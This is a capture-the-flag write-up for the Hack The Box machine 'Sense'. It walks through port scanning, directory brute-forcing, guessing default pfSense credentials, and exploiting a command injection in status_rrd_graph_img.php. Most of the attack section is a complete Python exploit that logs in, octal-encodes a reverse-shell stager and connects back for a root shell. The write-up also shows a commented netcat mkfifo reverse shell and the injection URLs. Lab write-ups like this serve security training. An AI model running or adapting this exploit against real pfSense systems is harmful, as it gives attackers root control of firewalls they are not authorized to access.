Sense write-up by Alamot

Enumeration

Port scanning

We scan the full range of TCP ports using masscan:

$ sudo masscan -e tun0 -p0-65535 --max-rate 500 10.10.10.60
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2018-03-22 09:51:28 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 443/tcp on 10.10.10.60                                    
Discovered open port 80/tcp on 10.10.10.60   

We found TCP ports 80 and 443 open. Let’s explore them using nmap:

$ sudo nmap -A -p80,443 10.10.10.60

Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-22 11:54 EET
Nmap scan report for 10.10.10.60
Host is up (0.091s latency).

PORT    STATE SERVICE  VERSION
80/tcp  open  http     lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Did not follow redirect to https://10.10.10.60/
443/tcp open  ssl/http lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Login
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized
Running (JUST GUESSING): OpenBSD 4.X (93%), Comau embedded (92%), Linux 2.6.X (89%)
OS CPE: cpe:/o:openbsd:openbsd:4.0 cpe:/o:linux:linux_kernel:2.6.29
Aggressive OS guesses: OpenBSD 4.0 (93%), Comau C4G robot control unit (92%), Linux 2.6.29 (89%), OpenBSD 4.3 (85%)
No exact OS matches for host (test conditions non-ideal).

Brute forcing directories and files

There are multiple vulnerabilities for PfSense but we need an authenticated user to exploit most of them. Maybe we can find some credentials if we search for notes in text files:

dirsearch -u https://10.10.10.60 -w /opt/DirBuster/directory-list-2.3-medium.txt -f -e txt

 _|. _ _  _  _  _ _|_    v0.3.8
(_||| _) (/_(_|| (_| )

Extensions: txt | Threads: 10 | Wordlist size: 441041

Target: https://10.10.10.60

[09:42:09] Starting: 
[09:42:45] 200 -  271B  - /changelog.txt
[09:43:42] 200 -    7KB - /tree/
[09:45:52] 302 -    0B  - /installer/  ->  installer.php
[10:51:23] 200 -  106B  - /system-users.txt

Let’s see the contents of https://10.10.10.60/system-users.txt:

####Support ticket###

Please create the following user

username: Rohit
password: company defaults

Let’s google-search the default password for PfSense:

https://doc.pfsense.org/index.php/What_is_the_default_username_and_password

The default credentials for a pfSense firewall are:

Username: admin
Password: pfsense

https://doc.pfsense.org/index.php/Installing_pfSense#pfSense_Default_Configuration

Default credentials are set to a username of admin with password pfsense

Therefore our credentials are rohit:pfsense. Now, let’s search for PfSense vulnerabilities:

$ searchsploit pfsense -w
----------------------------------------------------------------------------------------------------------------- --------------------------------------------
 Exploit Title                                                                                                   |  URL
----------------------------------------------------------------------------------------------------------------- --------------------------------------------
pfSense - 'interfaces.php?if' Cross-Site Scripting                                                               | https://www.exploit-db.com/exploits/35071/
pfSense - 'pkg.php?xml' Cross-Site Scripting                                                                     | https://www.exploit-db.com/exploits/35069/
pfSense - 'pkg_edit.php?id' Cross-Site Scripting                                                                 | https://www.exploit-db.com/exploits/35068/
pfSense - 'status_graph.php?if' Cross-Site Scripting                                                             | https://www.exploit-db.com/exploits/35070/
pfSense - Authenticated Group Member Remote Command Execution (Metasploit)                                       | https://www.exploit-db.com/exploits/43193/
pfSense 2 Beta 4 - 'graph.php' Multiple Cross-Site Scripting Vulnerabilities                                     | https://www.exploit-db.com/exploits/34985/
pfSense 2.0.1 - Cross-Site Scripting / Cross-Site Request Forgery / Remote Command Execution                     | https://www.exploit-db.com/exploits/23901/
pfSense 2.1 build 20130911-1816 - Directory Traversal                                                            | https://www.exploit-db.com/exploits/31263/
pfSense 2.2 - Multiple Vulnerabilities                                                                           | https://www.exploit-db.com/exploits/36506/
pfSense 2.2.5 - Directory Traversal                                                                              | https://www.exploit-db.com/exploits/39038/
pfSense 2.3.1_1 - Command Execution                                                                              | https://www.exploit-db.com/exploits/43128/
pfSense 2.3.2 - Cross-Site Scripting / Cross-Site Request Forgery                                                | https://www.exploit-db.com/exploits/41501/
pfSense Community Edition 2.2.6 - Multiple Vulnerabilities                                                       | https://www.exploit-db.com/exploits/39709/
pfSense Firewall 2.2.5 - Config File Cross-Site Request Forgery                                                  | https://www.exploit-db.com/exploits/39306/
pfSense Firewall 2.2.6 - Services Cross-Site Request Forgery                                                     | https://www.exploit-db.com/exploits/39695/
pfSense UTM Platform 2.0.1 - Cross-Site Scripting                                                                | https://www.exploit-db.com/exploits/24439/
----------------------------------------------------------------------------------------------------------------- --------------------------------------------

Check also this link:

https://www.proteansec.com/linux/pfsense-vulnerabilities-part-2-command-injection/

Let’s see https://www.exploit-db.com/exploits/39709/: “The status_rrd_graph_img.php page is vulnerable to command injection via the graph GET parameter. A non-administrative authenticated attacker having access privileges to the graph status functionality can inject arbitrary operating system commands and execute them in the context of the root user. Although input validation is performed on the graph parameter through a regular expression filter, the pipe character is not removed. Octal characters sequences can be used to encode a payload, bypass the filter for illegal characters, and create a PHP file to download and execute a malicious file (i.e. reverse shell) from a remote attacker controlled host.”

https://10.10.10.60/status_rrd_graph_img.php?database=-throughput.rrd&graph=file|command|echo%20

https://10.10.10.60/status_rrd_graph_img.php?database=-throughput.rrd&graph=file|printf%20OCTET_ENCODED_SHELLCODE|sh|echo%20

Unfortunately, the exploit 39709 is badly written and very messy as it mixes HTML, Javascript, PHP and Python for no reason. So, I wrote my own exploitation script in Python.

Autopwn script

Here is my script code-snippets/autopwn_sense.py at master · Alamot/code-snippets · GitHub. Don’t forget to set LHOST appropriately.

#!/usr/bin/env python2
# Author: Alamot (Antonios Tsolis)

import re
import sys
import time
from pwn import *
import signal, thread
import requests, urllib3
signal.signal(signal.SIGINT, signal.SIG_DFL)

DEBUG = False
RHOST="10.10.10.60"
RPORT=443
LHOST="10.10.15.128"
LPORT=60001

if DEBUG:
    context.log_level = 'debug'
else:
    context.log_level = 'info'

def send_ptyshell_payload():

    # This payload works too
    # stager = "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc " + str(LHOST) + " " + str(LPORT) + " > /tmp/f"
    
    stager = "python -c \"import os, pty, socket; lhost = '"+ str(LHOST) + "'; lport = " + str(LPORT) + "; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); os.putenv('HISTFILE','/dev/null'); pty.spawn('/bin/sh'); s.close(); exit()\""
    
    encoded_stager = ""
    for c in stager:
        encoded_stager += "\\\\%03d" %(int(oct(ord(c))))
    time.sleep(1)
    
    try:
        urllib3.disable_warnings()
        client = requests.session()
        client.verify = False
        client.keep_alive = False
                
        # Retrieve the CSRF token first
        p1=log.progress("Connecting to get csrf token")
        response = client.get("https://"+str(RHOST)+":"+str(RPORT), timeout=5)
        if response.status_code != 200:
            p1.failure("Status "+str(response.status_code))
            sys.exit()
        csrf = re.search('csrfMagicToken\s*=\s*"(sid:\w+,\d+)', response.text).group(1)
        p1.success("csrfMagicToken = " + csrf)
        
        # Login
        p2=log.progress("Logging in")
        data={"__csrf_magic":csrf, "usernamefld":"rohit", "passwordfld":"pfsense", "login":"Login"}
        response = client.post("https://"+str(RHOST)+":"+str(RPORT)+"/index.php", data=data, timeout=5)
        if response.status_code != 200:
            p1.failure("Status "+str(response.status_code))
            sys.exit()
        p2.success("Status "+str(response.status_code))

        # Send payload
        p3=log.progress("Sending pty shell payload...")
        try:
            params={"database":"-throughput.rrd", "graph":"file|printf "+encoded_stager+"|sh|echo "}
            response = client.get("https://"+str(RHOST)+":"+str(RPORT)+"/status_rrd_graph_img.php", params=params, timeout=5)
            if response.status_code != 200:
                p3.failure("Status "+str(response.status_code))
                sys.exit()
        except requests.exceptions.Timeout as e:
            p3.success("OK")

    except requests.exceptions.RequestException as e:
        log.failure(str(e))
        
    finally:
        if client:
            client.close()
        log.success("Web thread exited successfully.")

try:
    threading.Thread(target=send_ptyshell_payload).start()
except Exception as e:
    log.error(str(e))
ptyshell = listen(LPORT, timeout=5).wait_for_connection()
if ptyshell.sock is None:
    log.failure("Connection timeout.")
    sys.exit()
ptyshell.interactive()
sys.exit()

Let’s run it:

$ ./autopwn_sense.py
[+] Trying to bind to 0.0.0.0 on port 60001: Done
[+] Waiting for connections on 0.0.0.0:60001: Got connection from 10.10.10.60 on port 49022
[+] Connecting to get csrf token: csrfMagicToken = sid:5fcb86e278c2e4cb6b5aa5b4346218a9fb4d1647,1521716176
[+] Logging in: Status 200
[+] Sending pty shell payload...: OK
[*] Switching to interactive mode
# $ whoami
root

Thank you for your write-ups. I REALLY appreciate you’re doing them!